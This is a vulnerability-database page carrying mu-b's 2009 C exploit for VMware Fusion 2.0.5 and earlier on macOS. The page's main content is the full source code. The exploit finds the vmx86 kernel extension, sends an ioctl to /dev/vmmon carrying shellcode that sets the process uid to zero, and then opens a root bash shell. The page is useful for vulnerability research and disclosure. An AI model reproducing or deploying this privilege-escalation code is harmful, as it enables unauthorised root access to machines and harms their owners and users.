Lucene search
K

VMWare Fusion <= 2.0.5 vmx86 kext local kernel root exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

VMWare Fusion <= 2.0.5 vmx86 kext local kernel root exploi

Code

                                                /* vmware-fission.c
 *
 * Copyright (c) 2009 by &#60;[email protected]&#62;
 *
 * VMware Fusion &#60;= 2.0.5 vmx86 kext local kernel root exploit
 * by mu-b - Tue 23 June 2009
 *
 * - Tested on: VMware Fusion 2.0.4 (10.5.x)
 *              VMware Fusion 2.0.5 (10.5.x)
 *
 * http://seclists.org/fulldisclosure/2009/Oct/29
 * http://lists.vmware.com/pipermail/security-announce/2009/000066.html
 *
 * note: this requires the driver to be &#39;un-initialised&#39;, that is,
 *       you need to hit it _before_ VMware Fusion is first used!
 *       (or, just use another bug to panic the box first ;))
 *
 * - this exploit is provided for educational purposes _only_. You are free
 *   to use this code in any way you wish provided you do not work for, or
 *   are associated in any way with Portcullis Computer Security Ltd.
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2009!@$!
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;

#include &#60;fcntl.h&#62;
#include &#60;sys/ioctl.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/param.h&#62;
#include &#60;unistd.h&#62;

#include &#60;mach/mach.h&#62;
#include &#60;mach/mach_error.h&#62;
#include &#60;mach/mach_host.h&#62;

#ifndef IOCPARM_MASK
#define IOCPARM_MASK      0x1FFF
#endif
#ifndef IOCPARM_LEN
#define IOCPARM_LEN(a)    (((a) &#62;&#62; 16) & IOCPARM_MASK)
#endif
#define VMX86_INIT_IOCTL  0x802E564A

static unsigned char zleopard[] =
  /* _stack_walk        */
  &#34;\x89\xe8&#34;                      /* mov eax, ebp        */
  &#34;\x8b\x00&#34;                      /* mov eax, [eax]      */
  &#34;\x8b\x00&#34;                      /* mov eax, [eax]      */
  /* _drop_privs_dirty  */
  &#34;\x8b\x40\x18&#34;                  /* mov eax, [eax+0x18] */
  &#34;\x8b\x40\x64&#34;                  /* mov eax, [eax+0x64] */
  &#34;\xc7\x40\x10\x00\x00\x00\x00&#34;  /* mov [eax+0x10], 0   */
  &#34;\x31\xc0&#34;                      /* xor eax, eax        */
  &#34;\xc3&#34;;                         /* ret                 */

static struct targets {
  const char *name;
  int shell_addr;   /* +&offset */
} targets_t[] = {
  { &#34;2.0.4&#34;, 0x000D1460 },
  { &#34;2.0.5&#34;, 0x000D1460 },
  { NULL, 0 },
};

struct ioctl_req {
  char pad[IOCPARM_LEN(VMX86_INIT_IOCTL)];
};

int
main (int argc, char **argv)
{
  kmod_info_t *kmod_list, *k;
  mach_port_t host_port;
  kern_return_t mach_r;
  struct ioctl_req req;
  unsigned int count;
  int shell_addr;
  int fd, id, i, r;

  printf (&#34;VMware Fusion &#60;= 2.0.5 vmx86 kext local kernel root exploit\n&#34;
          &#34;by: &#60;[email protected]&#62;\n&#34;
          &#34;http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n&#34;);

  host_port = mach_host_self ();
  mach_r = kmod_get_info (host_port, (void *) &kmod_list, &count);
  if (mach_r != KERN_SUCCESS)
    {
      fprintf (stderr, &#34;* couldn&#39;t get list of loaded kexts from kernel - %s\n&#34;,
               mach_error_string (mach_r));
      exit (EXIT_FAILURE);
    }

  for (k = kmod_list; k; k = (k-&#62;next) ? (k + 1) : NULL)
    if (strcmp (k-&#62;name, &#34;com.vmware.kext.vmx86&#34;) == 0)
      break;

  if (k == NULL)
    {
      fprintf (stderr, &#34;%s: vmx86 kext not loaded?\n&#34;, argv[0]);
      exit (EXIT_FAILURE);
    }

  for (i = 0; targets_t[i].name; i++)
    if (strcmp (targets_t[i].name, k-&#62;version) == 0)
      {
        shell_addr = targets_t[i].shell_addr;
        break;
      }

  if (targets_t[i].name == NULL)
    {
      fprintf (stderr, &#34;%s: unsupported vmx86 version found :( [%s]\n&#34;,
               argv[0], k-&#62;version);
      exit (EXIT_FAILURE);
    }

  printf (&#34;* kmod: %s, version: %s, addr: 0x%08X -&#62; 0x%08X\n&#34;,
          strrchr (k-&#62;name, &#39;.&#39;) + 1, k-&#62;version, (int) k-&#62;address, (int) (k-&#62;address + k-&#62;size));
  printf (&#34;* ret addr: 0x%08X + 0x%08X = @0x%08X\n&#34;,
          (int) k-&#62;address, shell_addr + 0x1000, (int) k-&#62;address + shell_addr + 0x1000);

  fd = open (&#34;/dev/vmmon&#34;, O_RDONLY);
  if (fd &#60; 0)
    {
      fprintf (stderr, &#34;%s: open failed\n&#34;, argv[0]);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0xCC, sizeof req);
  memcpy (&req.pad, zleopard, sizeof zleopard - 1);
  *(unsigned int *) &req.pad[0x21] = k-&#62;address + shell_addr + 0x1000;

  printf (&#34;* hitting...&#34;);
  fflush (stdout);
  sleep (2);

  r = ioctl (fd, VMX86_INIT_IOCTL, &req);
  printf (&#34;done\n\n&#34;);
  close (fd);

  id = getuid ();
  printf (&#34;* getuid(): %d\n&#34;, id);
  if (id == 0)
    {
      char *args[] = { &#34;/bin/bash&#34;, NULL };
      printf (&#34;+Wh00t\n\n&#34;);

      execve (args[0], args, NULL);
    }
  else
    fprintf (stderr, &#34;%s: failed to obtain root :(\n&#34;, argv[0]);

  return (EXIT_SUCCESS);
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21